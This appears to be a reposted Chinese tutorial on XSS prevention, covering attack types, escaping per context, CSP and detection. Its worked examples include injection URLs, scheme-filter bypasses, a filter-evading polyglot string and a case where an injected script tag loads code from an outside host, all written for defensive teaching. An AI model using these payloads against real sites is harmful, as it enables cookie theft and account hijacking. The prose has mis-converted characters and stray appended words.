前端安全系列(一):如何防止XSS攻擊?

前端安全

隨着互聯網的高速發展,信息安全問題已經成爲企業最爲關注的焦點之一,而前端又是引起企業安全問題的高危據點。在移動互聯網時代,前端人員除了傳統的 XSS、CSRF 等安全問題以外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。固然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來加強安全性,可是仍存在不少潛在的威脅,這須要前端技術人員不斷進行「查漏補缺」。javascript

近幾年,美團業務高速發展,前端隨之面臨不少安全挑戰,所以積累了大量的實踐經驗。咱們梳理了常見的前端安全問題以及對應的解決方案,將會作成一個系列,但願能夠幫助前端人員在平常開發中不斷預防和修復安全漏洞。本文是該系列的第一篇。php

本文咱們會講解 XSS ,主要包括:html

  1. XSS 攻擊的介紹
  2. XSS 攻擊的分類
  3. XSS 攻擊的預防和檢測
  4. XSS 攻擊的總結
  5. XSS 攻擊案例

XSS 攻擊的介紹

在開始本文以前,咱們先提出一個問題,請判斷如下兩個說法是否正確:前端

  1. XSS 防範是後端 RD(研發人員)的責任,後端 RD 應該在全部用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操做。
  2. 全部要插入到頁面上的數據,都要經過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符後,就能夠插入到頁面中。

若是你還不能肯定答案,那麼能夠帶着這些問題向下看,咱們將逐步拆解問題。vue

XSS 漏洞的發生和修復

XSS 攻擊是頁面被注入了惡意的代碼,爲了更形象的介紹,咱們用發生在小明同窗身邊的事例來進行說明。java

一個案例

某天,公司須要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好而且上線。代碼以下:react

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:<%= getParameter("keyword") %>
</div>
複製代碼

然而,在上線後不久,小明就接到了安全組發來的一個神祕連接:git

http://xxx/search?keyword="><script>alert('XSS');</script>github

小明帶着一種不祥的預感點開了這個連接[請勿模仿,確認安全的連接才能點開]。果真,頁面中彈出了寫着"XSS"的對話框。golang

可惡,中招了!小明眉頭一皺,發現了其中的奧祕:

當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,獲得 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。造成了以下的 HTML:

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:"><script>alert('XSS');</script>
</div>
複製代碼

瀏覽器沒法分辨出 <script>alert('XSS');</script> 是惡意代碼,於是將其執行。

這裏不只僅 div 的內容被注入了,並且 input 的 value 屬性也被注入, alert 會彈出兩次。

面對這種狀況,咱們應該如何進行防範呢?

其實,這只是瀏覽器把用戶的輸入當成了腳本進行了執行。那麼只要告訴瀏覽器這段內容是文本就能夠了。

聰明的小明很快找到解決方法,把這個漏洞修復:

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:<%= escapeHTML(getParameter("keyword")) %>
</div>
複製代碼

escapeHTML() 按照以下規則進行轉義:

字符 轉義後的字符
& &amp;
< &lt;
> &gt;
" &quot;
' &#x27;
/ &#x2F;

通過了轉義函數的處理後,最終瀏覽器接收到的響應爲:

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>
複製代碼

惡意代碼都被轉義,再也不被瀏覽器執行,並且搜索詞可以完美的在頁面顯示出來。

經過這個事件,小明學習到了以下知識:

  • 一般頁面中包含的用戶輸入內容都在固定的容器或者屬性內,以文本的形式展現。
  • 攻擊者利用這些頁面的用戶輸入片斷,拼接特殊格式的字符串,突破原有位置的限制,造成了代碼片斷。
  • 攻擊者經過在目標網站上注入腳本,使之在用戶的瀏覽器上運行,從而引起潛在風險。
  • 經過 HTML 轉義,能夠防止 XSS 攻擊。[事情固然沒有這麼簡單啦!請繼續往下看]

注意特殊的 HTML 屬性、JavaScript API

自從上次事件以後,小明會當心的把插入到頁面中的數據進行轉義。並且他還發現了大部分模板都帶有的轉義配置,讓全部插入到頁面中的數據都默認進行轉義。這樣就不怕不當心漏掉未轉義的變量啦,因而小明的工做又漸漸變得輕鬆起來。

可是,做爲導演的我,不可能讓小明這麼簡單、開心地改 Bug 。

不久,小明又收到安全組的神祕連接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕緊點開頁面。然而,頁面並無自動彈出萬惡的「XSS」。

小明打開對應頁面的源碼,發現有如下內容:

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳轉...</a>
複製代碼

這段代碼,當攻擊 URL 爲 http://xxx/?redirect_to=javascript:alert('XSS'),服務端響應就成了:

<a href="javascript:alert(&#x27;XSS&#x27;)">跳轉...</a>
複製代碼

雖然代碼不會當即執行,但一旦用戶點擊 a 標籤時,瀏覽器會就會彈出「XSS」。

可惡,又失策了...

在這裏,用戶的數據並無在位置上突破咱們的限制,仍然是正確的 href 屬性。但其內容並非咱們所預期的類型。

原來不只僅是特殊字符,連 javascript: 這樣的字符串若是出如今特定的位置也會引起 XSS 攻擊。

小明眉頭一皺,想到了解決辦法:

// 禁止 URL 以 "javascript:" 開頭
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳轉...
  </a>
} else {
  <a href="/404">
    跳轉...
  </a>
}
複製代碼

只要 URL 的開頭不是 javascript:,就安全了吧?

安全組隨手又扔了一個鏈接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

這也能執行?.....好吧,瀏覽器就是這麼強大。

小明欲哭無淚,在判斷 URL 開頭是否爲 javascript: 時,先把用戶輸入轉成了小寫,而後再進行比對。

不過,所謂「道高一尺,魔高一丈」。面對小明的防禦策略,安全組就構造了這樣一個鏈接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 通過 URL 解析後變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者能夠繞事後端的關鍵詞規則,又成功的完成了注入。

最終,小明選擇了白名單的方法,完全解決了這個漏洞:

// 根據項目狀況進行過濾,禁止掉 "javascript:" 連接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳轉...
  </a>
} else {
  <a href="/404">
    跳轉...
  </a>
}
複製代碼

經過這個事件,小明學習到了以下知識:

  • 作了 HTML 轉義,並不等於高枕無憂。
  • 對於連接跳轉,如 <a href="xxx"location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的連接,和其餘非法的 scheme。

根據上下文采用不一樣的轉義規則

某天,小明爲了加快網頁的加載速度,把一個數據經過 JSON 的方式內聯到 HTML 中:

<script> var initData = <%= data.toJSON() %> </script>
複製代碼

插入 JSON 的地方不能使用 escapeHTML(),由於轉義 " 後,JSON 格式會被破壞。

但安全組又發現有漏洞,原來這樣內聯 JSON 也是不安全的:

  • 當 JSON 中包含 U+2028U+2029 這兩個字符時,不能做爲 JavaScript 的字面量使用,不然會拋出語法錯誤。
  • 當 JSON 中包含字符串 </script> 時,當前的 script 標籤將會被閉合,後面的字符串內容瀏覽器會按照 HTML 進行解析;經過增長下一個 <script> 標籤等方法就能夠完成注入。

因而咱們又要實現一個 escapeEmbedJSON() 函數,對內聯 JSON 進行轉義。

轉義規則以下:

字符 轉義後的字符
U+2028 \u2028
U+2029 \u2029
< \u003c

修復後的代碼以下:

<script> var initData = <%= escapeEmbedJSON(data.toJSON()) %> 複製代碼

經過這個事件,小明學習到了以下知識:

  • HTML 轉義是很是複雜的,在不一樣的狀況下要採用不一樣的轉義規則。若是採用了錯誤的轉義規則,頗有可能會埋下 XSS 隱患。
  • 應當儘可能避免本身寫轉義庫,而應當採用成熟的、業界通用的轉義庫。

漏洞總結

小明的例子講完了,下面咱們來系統的看下 XSS 有哪些注入的方法:

  • 在 HTML 中內嵌的文本中,惡意內容以 script 標籤造成注入。
  • 在內聯的 JavaScript 中,拼接的數據突破了本來的限制(字符串,變量,方法名等)。
  • 在標籤屬性中,惡意內容包含引號,從而突破屬性值的限制,注入其餘屬性或者標籤。
  • 在標籤的 href、src 等屬性中,包含 javascript: 等可執行代碼。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代碼。
  • 在 style 屬性和標籤中,包含相似 background-image:url("javascript:..."); 的代碼(新版本瀏覽器已經能夠防範)。
  • 在 style 屬性和標籤中,包含相似 expression(...) 的 CSS 表達式代碼(新版本瀏覽器已經能夠防範)。

總之,若是開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易形成注入漏洞。攻擊者能夠利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。

XSS 攻擊的分類

經過上述幾個例子,咱們已經對 XSS 有了一些認識。

什麼是 XSS

Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者經過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。

爲了和 CSS 區分,這裏把攻擊的第一個字母改爲了 X,因而叫作 XSS。

XSS 的本質是:惡意代碼未通過濾,與網站正常的代碼混在一塊兒;瀏覽器沒法分辨哪些腳本是可信的,致使惡意腳本被執行。

而因爲直接在用戶的終端執行,惡意代碼可以直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。

在部分狀況下,因爲輸入的限制,注入的惡意腳本比較短。但能夠經過引入外部的腳本,並由瀏覽器執行,來完成比較複雜的攻擊策略。

這裏有一個問題:用戶是經過哪一種方法「注入」惡意腳本的呢?

不只僅是業務上的「用戶的 UGC 內容」能夠進行注入,包括 URL 上的參數等均可以是攻擊的來源。在處理輸入時,如下內容都不可信:

  • 來自用戶的 UGC 信息
  • 來自第三方的連接
  • URL 參數
  • POST 參數
  • Referer (可能來自不可信的來源)
  • Cookie (可能來自其餘子域注入)

XSS 分類

根據攻擊的來源,XSS 攻擊可分爲存儲型、反射型和 DOM 型三種。

|類型|存儲區*|插入點*| |-|-| |存儲型 XSS|後端數據庫|HTML| |反射型 XSS|URL|HTML| |DOM 型 XSS|後端數據庫/前端存儲/URL|前端 JavaScript|

  • 存儲區:惡意代碼存放的位置。
  • 插入點:由誰取得惡意代碼,並插入到網頁上。

存儲型 XSS

存儲型 XSS 的攻擊步驟:

  1. 攻擊者將惡意代碼提交到目標網站的數據庫中。
  2. 用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器。
  3. 用戶瀏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。
  4. 惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

這種攻擊常見於帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。

反射型 XSS

反射型 XSS 的攻擊步驟:

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
  2. 用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
  3. 用戶瀏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。
  4. 惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫裏,反射型 XSS 的惡意代碼存在 URL 裏。

反射型 XSS 漏洞常見於經過 URL 傳遞參數的功能,如網站搜索、跳轉等。

因爲須要用戶主動打開惡意的 URL 才能生效,攻擊者每每會結合多種手段誘導用戶點擊。

POST 的內容也能夠觸發反射型 XSS,只不過其觸發條件比較苛刻(須要構造表單提交頁面,並引導用戶點擊),因此很是少見。

DOM 型 XSS

DOM 型 XSS 的攻擊步驟:

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
  2. 用戶打開帶有惡意代碼的 URL。
  3. 用戶瀏覽器接收到響應後解析執行,前端 JavaScript 取出 URL 中的惡意代碼並執行。
  4. 惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞,而其餘兩種 XSS 都屬於服務端的安全漏洞。

XSS 攻擊的預防

經過前面的介紹能夠得知,XSS 攻擊有兩大要素:

  1. 攻擊者提交惡意代碼。
  2. 瀏覽器執行惡意代碼。

針對第一個要素:咱們是否可以在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?

輸入過濾

在用戶提交時,由前端過濾輸入,而後提交到後端。這樣作是否可行呢?

答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就能夠提交惡意代碼了。

那麼,換一個過濾時機:後端在寫入數據庫前,對輸入進行過濾,而後把「安全的」內容,返回給前端。這樣是否可行呢?

咱們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 &lt; 7

問題是:在提交階段,咱們並不肯定內容要輸出到哪裏。

這裏的「並不肯定內容要輸出到哪裏」有兩層含義:

  1. 用戶的輸入內容可能同時提供給前端和客戶端,而一旦通過了 escapeHTML(),客戶端顯示的內容就變成了亂碼( 5 &lt; 7 )。
  2. 在前端中,不一樣的位置所需的編碼也不一樣。
  • 5 &lt; 7 做爲 HTML 拼接頁面時,能夠正常顯示:

    <div title="comment">5 &lt; 7</div>
    複製代碼
  • 5 &lt; 7 經過 Ajax 返回,而後賦值給 JavaScript 的變量時,前端獲得的字符串就是轉義後的字符。這個內容不能直接用於 Vue 等模板的展現,也不能直接用於內容長度計算。不能用於標題、alert 等。

因此,輸入側過濾可以在某些狀況下解決特定的 XSS 問題,但會引入很大的不肯定性和亂碼問題。在防範 XSS 攻擊時應避免此類方法。

固然,對於明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾仍是必要的。

既然輸入過濾並不是徹底可靠,咱們就要經過「防止瀏覽器執行惡意代碼」來防範 XSS。這部分分爲兩類:

  • 防止 HTML 中出現注入。
  • 防止 JavaScript 執行時,執行惡意代碼。

預防存儲型和反射型 XSS 攻擊

存儲型和反射型 XSS 都是在服務端取出惡意代碼後,插入到響應 HTML 裏的,攻擊者刻意編寫的「數據」被內嵌到「代碼」中,被瀏覽器所執行。

預防這兩種漏洞,有兩種常見作法:

  • 改爲純前端渲染,把代碼和數據分隔開。
  • 對 HTML 作充分轉義。

純前端渲染

純前端渲染的過程:

  1. 瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
  2. 而後瀏覽器執行 HTML 中的 JavaScript。
  3. JavaScript 經過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。

在純前端渲染中,咱們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),仍是屬性(.setAttribute),仍是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。

但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文」預防 DOM 型 XSS 攻擊「部分)。

在不少內部、管理系統中,採用純前端渲染是很是合適的。但對於性能要求高,或有 SEO 需求的頁面,咱們仍然要面對拼接 HTML 的問題。

轉義 HTML

若是拼接 HTML 是必要的,就須要採用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。

經常使用的模板引擎,如 doT.js、ejs、FreeMarker 等,對於 HTML 轉義一般只有一個規則,就是把 & < > " ' / 這幾個字符轉義掉,確實能起到必定的 XSS 防禦做用,但並不完善:

XSS 安全漏洞 簡單轉義是否有防禦做用
HTML 標籤文字內容
HTML 屬性值
CSS 內聯樣式
內聯 JavaScript
內聯 JSON
跳轉連接

因此要完善 XSS 防禦措施,咱們要使用更完善更細緻的轉義策略。

例如 Java 工程裏,經常使用的轉義庫爲 org.owasp.encoder。如下代碼引用自 org.owasp.encoder 的官方說明

<!-- HTML 標籤內文字內容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>

<!-- HTML 標籤屬性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />

<!-- CSS 屬性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">

<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">

<!-- JavaScript 內聯代碼塊 -->
<script> var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>"; alert(msg); </script>

<!-- JavaScript 內聯代碼塊內嵌 JSON -->
<script> var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>'); </script>

<!-- HTML 標籤內聯監聽器 -->
<button onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
  click me
</button>

<!-- URL 參數 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">

<!-- URL 路徑 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">

<!-- URL. 注意:要根據項目狀況進行過濾,禁止掉 "javascript:" 連接、非法 scheme 等 -->
<a href='<%= urlValidator.isValid(UNTRUSTED) ? Encode.forHtml(UNTRUSTED) : "/404" %>'>
  link
</a>
複製代碼

可見,HTML 的編碼是十分複雜的,在不一樣的上下文裏要使用相應的轉義規則。

預防 DOM 型 XSS 攻擊

DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼自己不夠嚴謹,把不可信的數據看成代碼執行了。

在使用 .innerHTML.outerHTMLdocument.write() 時要特別當心,不要把不可信的數據做爲 HTML 插到頁面上,而應儘可能使用 .textContent.setAttribute() 等。

若是用 Vue/React 技術棧,而且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTMLouterHTML 的 XSS 隱患。

DOM 中的內聯事件監聽器,如 locationonclickonerroronloadonmouseover 等,<a> 標籤的 href 屬性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串做爲代碼運行。若是不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。

<!-- 內聯事件監聽器中包含惡意代碼 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">

<!-- 連接內包含惡意代碼 -->
<a href="UNTRUSTED">1</a>

<script> // setTimeout()/setInterval() 中調用惡意代碼 setTimeout("UNTRUSTED") setInterval("UNTRUSTED") // location 調用惡意代碼 location.href = 'UNTRUSTED' // eval() 中調用惡意代碼 eval("UNTRUSTED") </script>
複製代碼

若是項目中有用到這些的話,必定要避免在字符串中拼接不可信數據。

其餘 XSS 防範措施

雖然在渲染頁面和執行 JavaScript 時,經過謹慎的轉義能夠防止 XSS 的發生,但徹底依靠開發的謹慎仍然是不夠的。如下介紹一些通用的方案,能夠下降 XSS 帶來的風險和後果。

Content Security Policy

嚴格的 CSP 在 XSS 的防範中能夠起到如下的做用:

  • 禁止加載外域代碼,防止複雜的攻擊邏輯。
  • 禁止外域提交,網站被攻擊後,用戶的數據不會泄露到外域。
  • 禁止內聯腳本執行(規則較嚴格,目前發現 GitHub 使用)。
  • 禁止未受權的腳本執行(新特性,Google Map 移動版在使用)。
  • 合理使用上報能夠及時發現 XSS,利於儘快修復問題。

關於 CSP 的詳情,請關注前端安全系列後續的文章。

輸入內容長度控制

對於不受信任的輸入,都應該限定一個合理的長度。雖然沒法徹底防止 XSS 發生,但能夠增長 XSS 攻擊的難度。

其餘安全措施

  • HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入後也沒法竊取此 Cookie。
  • 驗證碼:防止腳本冒充用戶提交危險操做。

XSS 的檢測

上述經歷讓小明收穫頗豐,他也學會了如何去預防和修復 XSS 漏洞,在平常開發中也具有了相關的安全意識。但對於已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?

通過一番搜索,小明找到了兩個方法:

  1. 使用通用 XSS 攻擊字符串手動檢測 XSS 漏洞。
  2. 使用掃描工具自動檢測 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明發現了這麼一個字符串:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
複製代碼

它可以檢測到存在於 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連接、內聯 JavaScript 字符串、內聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,而且能繞過一些 XSS 過濾器。

小明只要在網站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數上,就能夠進行檢測了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
複製代碼

除了手動檢測以外,還可使用自動掃描工具尋找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

XSS 攻擊的總結

咱們回到最開始提出的問題,相信同窗們已經有了答案:

  1. XSS 防範是後端 RD 的責任,後端 RD 應該在全部用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操做。

不正確。由於:

  • 防範存儲型和反射型 XSS 是後端 RD 的責任。而 DOM 型 XSS 攻擊不發生在後端,是前端 RD 的責任。防範 XSS 是須要後端 RD 和前端 RD 共同參與的系統工程。
  • 轉義應該在輸出 HTML 時進行,而不是在提交用戶輸入時。
  1. 全部要插入到頁面上的數據,都要經過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符後,就能夠插入到頁面中。

不正確。 不一樣的上下文,如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所須要的轉義規則不一致。 業務 RD 須要選取合適的轉義庫,並針對不一樣的上下文調用不一樣的轉義規則。

總體的 XSS 防範是很是複雜和繁瑣的,咱們不只須要在所有須要轉義的位置,對數據進行對應的轉義。並且要防止多餘和錯誤的轉義,避免正常的用戶輸入出現亂碼。

雖然很難經過技術手段徹底避免 XSS,但咱們能夠總結如下原則減小漏洞的產生:

  • 利用模板引擎 開啓模板引擎自帶的 HTML 轉義功能。例如: 在 ejs 中,儘可能使用 <%= data %> 而不是 <%- data %>; 在 doT.js 中,儘可能使用 {{! data } 而不是 {{= data }; 在 FreeMarker 中,確保引擎版本高於 2.3.24,而且選擇正確的 freemarker.core.OutputFormat
  • 避免內聯事件 儘可能不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 這種拼接內聯事件的寫法。在 JavaScript 中經過 .addEventlistener() 事件綁定會更安全。
  • 避免拼接 HTML 前端採用拼接 HTML 的方法比較危險,若是框架容許,使用 createElementsetAttribute 之類的方法實現。或者採用比較成熟的渲染框架,如 Vue/React 等。
  • 時刻保持警戒 在插入位置爲 DOM 屬性、連接等位置時,要打起精神,嚴加防範。
  • 增長攻擊難度,下降攻擊後果 經過 CSP、輸入長度配置、接口安全措施等方法,增長攻擊的難度,下降攻擊的後果。
  • 主動檢測和發現 可以使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。

XSS 攻擊案例

QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uindomain 未經轉義直接輸出到 HTML 中。

因而攻擊者構建出一個 URL,並引導用戶去點擊: http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:

<script> getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
複製代碼

瀏覽器接收到響應後就會執行 alert(document.cookie),攻擊者經過 JavaScript 便可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。

新浪微博名人堂反射型 XSS 漏洞

攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未通過濾直接輸出到 HTML 中。

因而攻擊者構建出一個 URL,而後誘導用戶去點擊:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
複製代碼

瀏覽器接收到響應後就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登陸狀態進行關注、發微博、發私信等操做,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊範圍。這種竊用受害者身份發佈惡意內容,層層放大攻擊範圍的方式,被稱爲「XSS 蠕蟲」。

擴展閱讀:Automatic Context-Aware Escaping

上文咱們說到:

  1. 合適的 HTML 轉義能夠有效避免 XSS 漏洞。
  2. 完善的轉義庫須要針對上下文制定多種規則,例如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連接、內聯 JavaScript 字符串、內聯 CSS 樣式表等等。
  3. 業務 RD 須要根據每一個插入點所處的上下文,選取不一樣的轉義規則。

一般,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,須要每一個業務 RD 都充分理解 XSS 的各類狀況,而且須要保證每個插入點使用了正確的轉義規則。

這種機制工做量大,全靠人工保證,很容易形成 XSS 漏洞,安全人員也很難發現隱患。

2009年,Google 提出了一個概念叫作:Automatic Context-Aware Escaping

所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每一個插入點所處的上下文,據此自動選用不一樣的轉義規則。這樣就減輕了業務 RD 的工做負擔,也減小了人爲帶來的疏漏。

在一個支持 Automatic Context-Aware Escaping 的模板引擎裏,業務 RD 能夠這樣定義模板,而無需手動實施轉義規則:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title}}</title>
  </head>
  <body>
    <a href="{{.url}}">{{.content}}</a>
  </body>
</html>
複製代碼

模板引擎通過解析後,得知三個插入點所處的上下文,自動選用相應的轉義規則:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title | htmlescaper}}</title>
  </head>
  <body>
    <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
  </body>
</html>
複製代碼

目前已經支持 Automatic Context-Aware Escaping 的模板引擎有:

課後做業:XSS 攻擊小遊戲

如下是幾個 XSS 攻擊小遊戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊便可通關。

在玩遊戲的過程當中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。

alert(1) to win prompt(1) to win XSS game

參考文獻

下期預告

前端安全系列文章將對 XSS、CSRF、網絡劫持、Hybrid 安全等安全議題展開論述。下期咱們要討論的是 CSRF 攻擊,敬請關注。

做者介紹

李陽,美團點評前端工程師。2016年加入美團點評,負責美團外賣 Hybrid 頁面性能優化相關工做。

相關文章
相關標籤/搜索